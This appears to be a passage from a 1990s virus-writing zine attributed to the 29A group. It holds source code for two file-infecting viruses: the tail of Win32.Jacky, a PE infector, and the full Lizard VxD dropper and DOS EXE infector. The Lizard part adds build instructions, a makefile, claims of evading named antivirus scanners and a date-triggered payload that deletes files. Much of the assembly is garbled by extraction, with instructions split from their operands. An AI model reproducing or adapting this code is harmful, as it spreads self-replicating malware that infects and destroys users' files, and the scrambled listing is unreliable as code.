;edx=0 edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint] [esi],edx ;hardcode delta to original entry point RVA ;edx=0 ecx esi ;virus entry point ecx ;calculate new size of section (raw data) eax,edi ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment] eax,(virtual_end - v_end + 3) and (-4) end_Attach [ebx.SH_VirtualSize - x],eax n_vir [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA) eax [ebx.SH_SizeOfRawData - x],edi ;store new size of section eax,ecx ;(raw data) ecx ecx eax,[ebx.SH_VirtualAddress - x] [ebp.NT_OptionalHeader.OH_SizeOfImage],eax n_img [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size ;of image (RVA) edi,[ebx.SH_PointerToRawData - x] ;get new file size ecx,ecx byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change ; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte; IMAGE_SCN_MEM_READ or \ ;risticz to: execute, ; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access eax ;get original file size cl,size_pad ; edx=0 edi,eax ;compare it with new file size $+3 edi,eax ;take the greater eax,1 - size_pad ecx ecx ;grow file size to a multiple of size_pad eax [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change ;entry point

GetProcAddressIT proc ;gets a pointer to an API function from the Import Table ; (the object inspected is in raw form, ie memory-maped) ;on entry: ; TOS+0Ch (Arg3): API function name ; TOS+08h (Arg2): module name ; TOS+04h (Arg1): base adress of memory-maped file ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found pushad mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1 lea esi,[ebp.MZ_lfanew] add esi,[esi] ;get address of PE header + MZ_lfanew

mov

ecx,[esi.NT_OptionalHeader \ ;get size of import directory .OH_DirectoryEntries \ .DE_Import \ .DD_Size \ -MZ_lfanew] jecxz End_GetProcAddressIT2 ;if size is zero, no API imported! movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] jecxz End_GetProcAddressIT2 movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] x = IMAGE_SIZEOF_SECTION_HEADER match_virtual: ;find section containin the import table. (not necesarily ;its in the .idata section!) edi,[esi.NT_OptionalHeader .OH_DirectoryEntries .DE_Import .DD_VirtualAddress -MZ_lfanew] edx,[ebx.SH_VirtualAddress] edi,edx ebx,x edi,[ebx.SH_VirtualSize - x] import_section_found match_virtual End_GetProcAddressIT \ ;get address of import table \ \ \ ;get RVA start pointer of ;current section ;address of import table ;inside current section? ;yea, we found it ;no, try next section ;no more sectionz, shit.. go

mov

mov sub add cmp jb loop jmp

import_section_found: push edi mov eax,[ebx.SH_SizeOfRawData - x] mov ebx,[ebx.SH_PointerToRawData - x] xchg ebp,eax ;get RAW size of import section (EBP) add ebx,eax ;get RAW start of import section (EBX) cld x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR Get_DLL_Name: ;scan each import descriptor inside import section to match ;module name specified esi ecx,[ebx.esi.ID_Name] ;diference (if any) between start ;of imp.table and start of imp.section ;get RVA pointer to imp.module name

pop mov

End_GetProcAddressIT2: End_GetProcAddressIT ;end of import descriptorz? ecx,edx ;convert RVA pointer to RAW ecx,ebp ;check if it points inside section End_GetProcAddressIT esi,x esi ;save next import descriptor for later esi,[ebx + ecx] ;retrieval edi,[esp.(Pshd).cPushad.Arg2] ;get module name specified ;from Arg2 Next_char_from_DLL: ;do a char by char comparison with module name found ;inside section. Stop when a NULL or a dot is found jecxz sub cmp jae add push lea mov

lodsb add jz sub cmp jae add no_up: sub IT_nup: scasb jnz cmp jnz

al,-'.' IT_nup al,-'.'+'a' al, 'z'-'a'+ 1 no_up al,-20h al,-'a'

;its a dot

;convert to upercase

Get_DLL_Name ;names dont match, get next import descriptor byte ptr [edi-1],0 Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name pop lea add mov mov push mov push call xchg mov jecxz push call test jnz mov esi eax,[edx + esi.ID_ForwarderChain - x] esi,ebx [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r dword ptr [esp.cPushad.Arg3] eax,[esp.(Pshd).Pushad_ebp] dword ptr [eax + K32Mod - v_end] GetProcAddressET ;scan exp.table of spec.module handle eax,ecx ;and get function adress of spec.API ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the ;API function adressez are bound End_GetProcAddressIT ;if not found then go, this value cant ;be zero or the IAT wont be patched eax GetProcAddrIAT ;inspect first thunk (which later will eax,eax ;be patched by the loader) IAT_found ;if found then jump (save it and go) ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk ;(which later will hold the original ;unpatched IAT) End_GetProcAddressIT ;if not found then go, this value eax ;could be zero GetProcAddrIAT ;inspect original thunk eax,eax IAT_found ;jump if not found eax,ecx ;we got the pointer eax,[esi.ID_FirstThunk - x] ;convert it to RVA 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump $ - 2 ;necesary!

jecxz push call test jz sub add db org

End_GetProcAddressIT: db IAT_found: mov popad ret [esp.Pushad_eax],eax (3*Pshd) ;save IAT entry pointer ;go and unwind parameterz in stack 33h,0C0h ;xor eax,eax ;error, adress not found

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for ; the selected API name. This function works for both ; bound and unbound import descriptorz. This function is ; called from inside GetProcAddressIT. ;on entry: ; EBX = RAW start pointer of import section

; ECX = RVA pointer to IMAGE_THUNK_ARRAY ; EDX = RVA start pointer of import section ; EDI = pointer selected API function name. ; EBP = RAW size of import section ; TOS+04h (Arg1): real address of API function inside selected ; module (in case the descriptor is unbound). ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found push push xor sub cmp jae lea ecx esi eax,eax ecx,edx ecx,ebp IT_not_found esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword: lodsd test jz no_ordinal: sub cmp jb add cmp jmp IT_search: push lea mov IT_next_char: cmpsb jnz IT_Matched_char: cmp jnz IT_new_search: pop IT_found?: jnz lea sub IT_not_found: next_thunk_dword eax,[edx+esi-4] ;get the pointer to the new IAT entry eax,ebx ;convert it to RVA esi ;yea, they match, we found it byte ptr [esi-1],0 IT_next_char ;find req.API from all imported API namez ;do APIz match? ;no, continue searchin esi ;image descr.contains imports by name esi,[ebx+eax.IBN_Name] ;get API name from import descriptor edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a ;parameter eax,edx ;convert dword to a RAW pointer eax,ebp ;dword belongs to an unbound image descriptor? IT_search ;no, jump eax,edx ;we have the API adress, reconvert to RVA eax,[esp.(2*Pshd).Arg1] ;API adressez match? IT_found? ;yea, we found it, jump ;get dword value ;end of IMAGE_THUNK_DATA array?

eax,eax IT_not_found

IT_new_search

pop pop ret

esi ecx (Pshd)

GetProcAddressIT endp GetProcAddressET proc ;This function is similar to GetProcAddressIT except ; that it looks for API functions in the export table ; of a given DLL module. It has the same functionality ; as the original GetProcAddress API exported from ; KERNEL32 except that it is able to find API ; functions exported by ordinal from KERNEL32. ;on entry: ; TOS+08h (Arg2): pszAPIname (pointer to API name) ; TOS+04h (Arg1): module handle/base address of module ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found pushad mov eax,[esp.cPushad.Arg1] ;get Module Handle from Arg1 mov ebx,eax add eax,[eax.MZ_lfanew] ;get address of PE header mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory .OH_DirectoryEntries \ .DE_Export \ .DD_Size] jecxz Proc_Address_not_found ;size is zero, No API exported ! mov ebp,ebx ;get address of Export directory add ebp,[eax.NT_OptionalHeader \ .OH_DirectoryEntries \ .DE_Export \ .DD_VirtualAddress] ifndef NoOrdinal mov eax,[esp.cPushad.Arg2] ;get address of requested API name or ;ordinal value from Arg2 test eax,-10000h ;check if Arg2 is an ordinal jz Its_API_ordinal endif Its_API_name: push mov add mov xor cld ecx edx,ebx ;get address of exported API names edx,[ebp.ED_AddressOfNames] ecx,[ebp.ED_NumberOfNames] ;get number of exported API names eax,eax

Search_for_API_name: esi,ebx ;get address of next exported API name esi,[edx+eax*4] edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name ;from Arg2 Next_Char_in_API_name: cmpsb jz inc loop pop ;find requested API from all ;exported API namez mov add mov

Matched_char_in_API_name eax Search_for_API_name eax

Proc_Address_not_found: xor jmp ifndef eax,eax End_GetProcAddressET ;API not found

NoOrdinal

Its_API_ordinal: sub jmp endif Matched_char_in_API_name: cmp jnz pop mov add movzx Check_Index: cmp jae mov add add mov sub cmp jb eax,[ebp.ED_NumberOfFunctions] ;check for out of range index Proc_Address_not_found edx,ebx ;get address of exported API functions edx,[ebp.ED_AddressOfFunctions] ebx,[edx+eax*4] ;get address of requested API function eax,ebx ebx,ebp ;take care of forwarded API functions ebx,ecx Proc_Address_not_found byte ptr [esi-1],0 ;end of API name reached? Next_Char_in_API_name ecx edx,ebx ;get address of exp.API ordinals edx,[ebp.ED_AddressOfOrdinals] eax,word ptr [edx+eax*2] ;get index into exp.API functions eax,[ebp.ED_BaseOrdinal] Check_Index ;normalize Ordinal, i.e. ;convert it to an index

End_GetProcAddressET: mov popad ret [esp.Pushad_ecx],eax (2*Pshd) ;set requested Proc Address, if found

GetProcAddressET endp MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress ; API. It retrieves the address of an API function ; exported from KERNEL32. ;on entry: ; TOS+04h (Arg1): pszAPIname (pointer to API name) ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found

pop push push

eax dword ptr [ebp + K32Mod - v_end] eax

;KERNEL32 module handle

MyGetProcAddress proc mov ecx,12345678h ddGetProcAddress = dword ptr $ - 4 ;this dynamic variable will hold an RVA ;pointer to the GetProcAddress API in ;the IAT

gotoGetProcAddressET: jecxz push push add call xchg jecxz ret GetProcAddressET [esp.Arg2] [esp.(Pshd).Arg1] ecx,[ebp + phost_hdr - v_end] [ecx] ;call the original GetProcAddress API ecx,eax gotoGetProcAddressET ;if error, call my own GetProcAddress (2*Pshd) ;function

MyGetProcAddress endp MyGetModuleHandleA proc ;this function retrieves the base address/module ;handle of a DLL module previosly loaded to memory. pop ecx pop eax push ecx mov edx,[ebp + phost_hdr - v_end] mov ecx,12345678h ;this dynamic variable will hold an RVA ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in jecxz check_K32 ;the IAT GetModHandleA: push call xor jmp check_K32: mov eax,[edx + 12345678h] ;this dynamic variable will hold an ;RVA pointer to the ForwarderChain ;field in the KERNEL32 import ;descriptor. This is an undocumented ;feature to get the K32 base address ;make sure the base address is ok eax [ecx + edx] ecx,ecx really_PE?

;call the original GetModuleHandleA API

ptrForwarderChain = dword ptr $ - 4 inc eax jz End_GetModHandleA dec eax jz End_GetModHandleA cmp eax,12345678h

ddForwarderChain = dword ptr $ - 4 jz End_GetModHandleA really_PE?: cmp jnz mov cmp jnz xchg

;this dynamic variable will hold the ;prev.contents of the ForwarderChain ;field in the K32 import descriptor ;if they match, then the Win32 loader ;didnt copy the K32 base address

word ptr [eax],IMAGE_DOS_SIGNATURE ;make sure its the base End_GetModHandleA ;address of a PE module edx,[eax.MZ_lfanew] dword ptr [eax + edx],IMAGE_NT_SIGNATURE End_GetModHandleA ecx,eax

End_GetModHandleA: ret MyGetModuleHandleA endp align 4 ;set dword alignment

v_end: ;uninitialized data ;these variablez will be addressed in memory, but ;dont waste space in the file dd dd dd ? ? ? ;pointer to virus start in memory ;ptr to the host base address in mem ;KERNEL32 base address

pv_start phost_hdr K32Mod FunctionAddressez:

;these variables will hold the API function addressez ;used in the virus dd dd dd dd dd dd dd dd dd dd dd dd ? ? ? ? ? ? ? ? ? ? ? ?

ddCreateFileA ddCreateFileMappingA ddCloseHandle ddUnmapViewOfFile ddMapViewOfFile ddFindFirstFileA ddFindNextFileA ddFindClose ddSetFileAttributesA ddSetFilePointer ddSetEndOfFile ddSetFileTime v_stringz: vszKernel32 vszGetModuleHandleA vszGetProcAddress EXE_filez FunctionNamez: vszCreateFileA vszCreateFileMappingA vszCloseHandle vszUnmapViewOfFile vszMapViewOfFile vszFindFirstFileA vszFindNextFileA vszFindClose vszSetFileAttributesA vszSetFilePointer vszSetEndOfFile vszSetFileTime EndOfFunctionNames align 4 FindData virtual_end: first_generation:

;the API names used by the virus are decrypted here db db db db 'KERNEL32',0 'GetModuleHandleA',0 'GetProcAddress',0 '*.EXE',0 ;the file mask

db db db db db db db db db db db db db

'CreateFileA',0 'CreateFileMappingA',0 'CloseHandle',0 'UnmapViewOfFile',0 'MapViewOfFile',0 'FindFirstFileA',0 'FindNextFileA',0 'FindClose',0 'SetFileAttributesA',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0 0

WIN32_FIND_DATA ?

;this routine will be called only once from the first ;generation sample, it simply initializes some variables ;needed in the very first run.

jumps push call NULL GetModuleHandleA

here:

test jz xchg call pop mov sub sub neg mov mov sub sub neg mov mov .if mov .endif sub mov mov .if mov .endif sub mov pushad cld mov lea mov call popad jmp

eax,eax exit_host ecx,eax here ebx eax,ebx eax,here - v_start eax,ecx eax [ebx + delta_host - here],eax

;set delta host value

eax,ebx eax,here - host eax,ecx eax [ebx + phost_start_rva - here],eax eax,[ebx + pfnGMH - here] word ptr [eax] == 25FFh eax,[eax + 2]

;set pointer to ;host's base adress

; JMP [nnnnnnnn]

eax,ecx [ebx + ddGetModuleHandleA - here],eax eax,[ebx + pfnGPA - here] word ptr [eax] == 25FFh eax,[eax + 2]

;set GetModuleHandleA ;RVA pointer

; JMP [nnnnnnnn]

eax,ecx [ebx + ddGetProcAddress - here],eax

;set GetProcAddress ;RVA pointer ;encrypt unencrypted API namez and other ;stringz

ecx,ve_string_size esi,[ebx + ve_stringz - here] edi,esi crypt_back v_start ;ok, here we go.. jump to virus start.. ;encryption routine

crypt_back: lodsb not ror stosb loop ret pfnGMH pfnGPA dd dd

al al,cl crypt_back

offset GetModuleHandleA offset GetProcAddress

;Host code starts here extrn extrn host: ;Display Message box MessageBoxA: proc ExitProcess: proc ;here begins the original host code

push @pushsz @pushsz push call ;Exit host exit_host: push call end

MB_OK "(c) Win32.Jacky by jqwerty/29A" "First generation sample" NULL MessageBoxA

0 ExitProcess first_generation

;----------------------------------------------------------------------------;Lizard by Reptile/29A (another version ;) ;----------------------------------------------------------------------------; ; ; ; ; ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

;This is an encrypted vxd direct action dos exe infector (I added some anti;heuristics and other stuff and optimized the code of v1.0). ;When an infected file is run the virus decrypts itself, drops lzd.vxd to the ;available one of the three dirs and then returns back to the host. After the ;next reboot... ;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz ;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini ;or the registry). Then the virus takes control and hooks the V86 interrupt ;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh) ;and on find first file (4eh) using direct action techniques to infect all ;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size ;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!) ;bytes. ;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't ;detect it (all for win95). ;Compiling lzd.vxd (win95 DDK): ;makefile ;Compiling rmlzd.inc: ;tasm /m2 rmlzd.asm ;tlink /t rmlzd.obj ;file2db rmlzd.com (or another db generator) ;modify rmlzd.dat ;To install copy lzd.vxd to one of the following dirs: ;- c:\windows\system\iosubsys ;- c:\win95\system\iosubsys ;- c:\windows.000\system\iosubsys ;...or start lizard.exe :) ;P.S.: ;Sandy: are u lucky now? ;) ;Jacky: thanx for testing it! ;GriYo: the stack stuff really didn't work :P ;P.P.S: ;TrY MaGiC MuShRoOmS... ;---[LZD.ASM]----------------------------------------------------------------.386p .xlist include vmm.inc .list vxdhsize equ 701 vxddsize equ 81 vxdcsize equ 880

esize equ encend - encstart vsize equ vend - start Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \ Undefined_Init_Order,, VxD_Locked_Data_Seg wcard db '*.e?e',0 ;*.l?z include rmlzd.inc ;realmode code dflag db 0 pflag db 0 ndta db 43 dup (?) header db 26 dup (?) VxD_Locked_Data_Ends ;----------------------------------------------------------------------------VxD_Locked_Code_Seg BeginProc LZD_Device_Init ;trigger mov ah,2ah ;get date vxdint 21h ;live drazil si cmp dh,10 ;26.10.? jne npload cmp dl,26 jne npload mov pflag,1 ;hehe npload: mov eax,21h ;install int 21h handler mov esi,offset32 int21h VMMcall Hook_V86_Int_Chain clc ret EndProc LZD_Device_Init ;----------------------------------------------------------------------------BeginProc int21h cmp [ebp.Client_AH],4bh ;exec je short ww cmp [ebp.Client_AH],3ch ;create je short ww cmp [ebp.Client_AH],6ch ;ext. open je short ww cmp [ebp.Client_AH],3eh ;close je short ww cmp [ebp.Client_AH],4eh ;find first je short ww jmp prevhook ww: Push_Client_State ;save regs VMMcall Begin_Nest_Exec ;----------------------------------------------------------------------------cmp dflag,1 je done mov ax,3d02h ;open lzd.vxd lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir vxdint 21h jnc short rd mov ax,3d02h ;open the vxd lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir vxdint 21h

jnc short rd mov ax,3d02h ;open the vxd lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir vxdint 21h jc ecsit ;skip it rd: xchg ax,bx mov ah,3fh ;store the header of the vxd mov cx,vxdhsize lea edx,vxdheader vxdint 21h mov ax,4201h xor cx,cx mov dx,3400 vxdint 21h ;jmp over zeros

mov ah,3fh ;store the vxddata mov cx,vxddsize lea edx,vxddata vxdint 21h mov ax,4201h xor cx,cx mov dx,2037 vxdint 21h ;jmp over realmodecode and zeros

mov ah,3fh ;store the vxdcode mov cx,vxdcsize lea edx,vxdcode vxdint 21h mov ah,3eh vxdint 21h ;close...

mov dflag,1 ;set flag ;----------------------------------------------------------------------------done: mov ah,1ah ;set dta lea edx,ndta vxdint 21h ffirst: mov ah,4eh ;search for first exe jmp short w fnext: mov ah,4fh ;find next exe w: mov cx,7 lea edx,wcard ;*.e?e vxdint 21h jc ecsit mov ax,4301h ;set normal attribute mov cx,20h lea edx,[ndta + 30] vxdint 21h cmp pflag,1 ;sux0ring microsuckers jne pheeew ;(the payload in v1.0 was a bit too destructive ;)

evil: ;evil payload against the imperialism of microsoft! mov ah,41h ;yhcrana lea edx,[ndta + 30] vxdint 21h jmp ecsit pheeew: mov ax,3d02h ;open the victim lea edx,[ndta + 30] vxdint 21h jc fnext xchg ax,bx mov ah,3fh ;read header mov cx,26 lea edx,header vxdint 21h cmp word ptr [header],'ZM' ;exe? jne cfile cmp word ptr [header + 0ch],0ffffh ;allocate all mem? jne cfile cmp word ptr [header + 18h],40h ;win exe? je cfile mov al,[header + 12h] ;infected? or al,al jne cfile ;save ss:sp mov ax,word ptr [header + 0eh] mov sseg,ax mov ax,word ptr [header + 10h] mov ssp,ax ;save cs:ip mov eax,dword ptr [header + 14h] mov csip,eax mov ax,4202h xor cx,cx cwd vxdint 21h ;eof

;calc new cs:ip mov cx,16 div cx sub ax,word ptr [header + 8] mov word ptr [header + 14h],dx mov word ptr [header + 16h],ax add edx,vend ;calc stack

mov word ptr [header + 0eh],ax mov word ptr [header + 10h],dx ;xor encryption rdnm: in al,40h or al,al je rdnm

mov [encval],al ;save random value mov edi,offset32 encstart mov cx,esize xl: xor [edi],al inc edi loop xl ;write virus mov ah,40h mov cx,vsize mov edx,offset32 start vxdint 21h ;undo mov al,[encval] mov edi,offset32 encstart mov cx,esize xll: xor [edi],al inc edi loop xll mov ax,4202h xor cx,cx cwd vxdint 21h ;eof

mov cx,512 ;calc pages div cx or dx,dx jz short np inc ax np: mov word ptr [header + 4],ax mov word ptr [header + 2],dx mov ax,4200h xor cx,cx cwd vxdint 21h ;bof

rnd: in al,40h ;set infection flag or al,al je rnd mov [header + 12h],al mov ah,40h ;write new header mov cx,26 lea edx,header vxdint 21h cfile: mov cl,byte ptr [ndta + 21] ;restore attribute lea edx,[ndta + 1eh] mov ax,4301h vxdint 21h mov cx,word ptr [ndta + 22] ;restore time/date mov dx,word ptr [ndta + 24]

mov ax,5701 vxdint 21h mov ah,3eh vxdint 21h jmp fnext ;close file

ecsit: VMMcall End_Nest_Exec Pop_Client_State prevhook: stc ret EndProc int21h ;----------------------------------------------------------------------------BeginProc LZD_Control Control_Dispatch Init_Complete,LZD_Device_Init clc ret EndProc LZD_Control wb db 13,10,'Lizard by Reptile/29A',0 VxD_Locked_Code_Ends End ;this is the end my only friend the end... ;---[RMLZD.ASM]--------------------------------------------------------------;Lizard's real mode portion .286 vxdhsize equ 701 vxddsize equ 81 vxdcsize equ 880 esize equ encend - encstart rmsize equ rmend - rmstart .model tiny .code org 100h start: rmstart: ;get delta ;----------------------------------------------------------------------------call $ + 3 drazil: pop si sub si,offset drazil push si pop bp ;----------------------------------------------------------------------------push ds ;coz psp push cs pop ds ;decrypt it db 176 ;mov al encval db 0 ;----------------------------------------------------------------------------lea di,[bp + offset encstart] mov cx,esize

xd: jmp fj fj2: inc di loop xd jmp encstart fj: xor [di],al jmp fj2 ;----------------------------------------------------------------------------encstart: mov ax,3d00h ;try to open lzd.vxd in lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys int 21h jnc cfile ;exit if already installed mov ah,3ch ;install lzd.vxd xor cx,cx int 21h jnc inst mov lea int jnc mov xor int jnc ax,3d00h ;try to open lzd.vxd in dx,[bp + offset dropname2] ;c:\win95\system\iosubsys 21h cfile ah,3ch cx,cx 21h inst

mov ax,3d00h ;try to open lzd.vxd in lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys int 21h jnc cfile mov ah,3ch xor cx,cx int 21h jc exit inst: xchg ax,bx mov mov lea int ah,40h ;write the header cx,vxdhsize dx,[bp + offset vxdheader] 21h

;write some zeros mov cx,3400 lzero: push cx mov ah,40h mov cx,1 lea dx,[bp + zero] int 21h pop cx loop lzero mov mov lea int ah,40h ;write the data cx,vxddsize dx,[bp + offset vxddata] 21h ;write the rmcode

mov ah,40h

mov cx,rmsize lea dx,[bp + offset rmstart] int 21h ;write some more zeros mov cx,1732 lzero2: push cx mov ah,40h mov cx,1 lea dx,[bp + zero] int 21h pop cx loop lzero2 mov mov lea int ah,40h ;write the code cx,vxdcsize dx,[bp + offset vxdcode] 21h

cfile: mov ah,3eh int 21h ;exe return exit: pop ax ;psp add ax,11h dec ax add word ptr [bp + offset csip + 2],ax ;stack db 5 ;add ax sseg dw 0fff0h ;test mov ss,ax db 0bch ;mov sp ssp dw 0fffeh db 0eah csip dd 0fff00000h zero db 0 dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 rmend: vxdheader db vxdhsize dup (?) vxddata db vxddsize dup (?) vxdcode db vxdcsize dup (?) encend: ends end start ;---[RMLZD.INC]--------------------------------------------------------------;Modified db listing of rmlzd.com start: db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h ;db 000h

encval db 0 db 08Dh db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh db 0F7h encstart: db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h dbNUL005h ;db 0F0h, 0FFh sseg dw 0fff0h ;not necessary db 08Eh, 0D0h, 0BCh ;db 0FEh, 0FFh ssp dw 0fffeh dbNUL0EAh ;db 000h, 000h, 0F0h, 0FFh csip dd 0fff00000h db 000h ;db 063h, 03Ah ;dbNUL05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h ;dbNUL05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch ;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h ;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h ;dbNUL000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h ;dbNUL035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh ;dbNUL05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h ;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h ;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh ;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h ;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch ;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h ;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h ;dbNUL000h dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 vxdheader db vxdhsize dup (?) vxddata db vxddsize dup (?) vxdcode db vxdcsize dup (?) encend: vend: ;---[LZD.DEF]----------------------------------------------------------------VXD LZD DYNAMIC DESCRIPTION ''

SEGMENTS _LPTEXT _LTEXT _LDATA _TEXT _DATA CONST _TLS _BSS _ITEXT _IDATA _PTEXT _PDATA _STEXT _SDATA _DBOSTART _DBOCODE _DBODATA _16ICODE _RCODE EXPORTS

CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS

'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'ICODE' 'ICODE' 'PCODE' 'PDATA' 'SCODE' 'SCODE' 'DBOCODE' 'DBOCODE' 'DBOCODE' '16ICODE' 'RCODE'

PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE DISCARDABLE DISCARDABLE NONDISCARDABLE NONDISCARDABLE SHARED RESIDENT RESIDENT PRELOAD NONDISCARDABLE CONFORMING PRELOAD NONDISCARDABLE CONFORMING PRELOAD NONDISCARDABLE CONFORMING PRELOAD DISCARDABLE

LZD_DDB @1 ;---[MAKEFILE]---------------------------------------------------------------NAME = lzd LINK = LINK ASM AFLAGS ASMENV LFLAGS = = = = ml -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 ML /VXD /NOD

.asm.obj: set $(ASMENV)=$(AFLAGS) $(ASM) -Fo$*.obj $< all : $(NAME).VXD OBJS = lzd.obj lzd.obj: lzd.asm $(NAME).VxD: $(NAME).def $(OBJS) link @<<$(NAME).lnk $(LFLAGS) /OUT:$(NAME).VxD /MAP:$(NAME).map /DEF:$(NAME).def $(OBJS) << @del @del @del @del ;... *.exp>nul *.lib>nul *.map>nul *.obj>nul

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

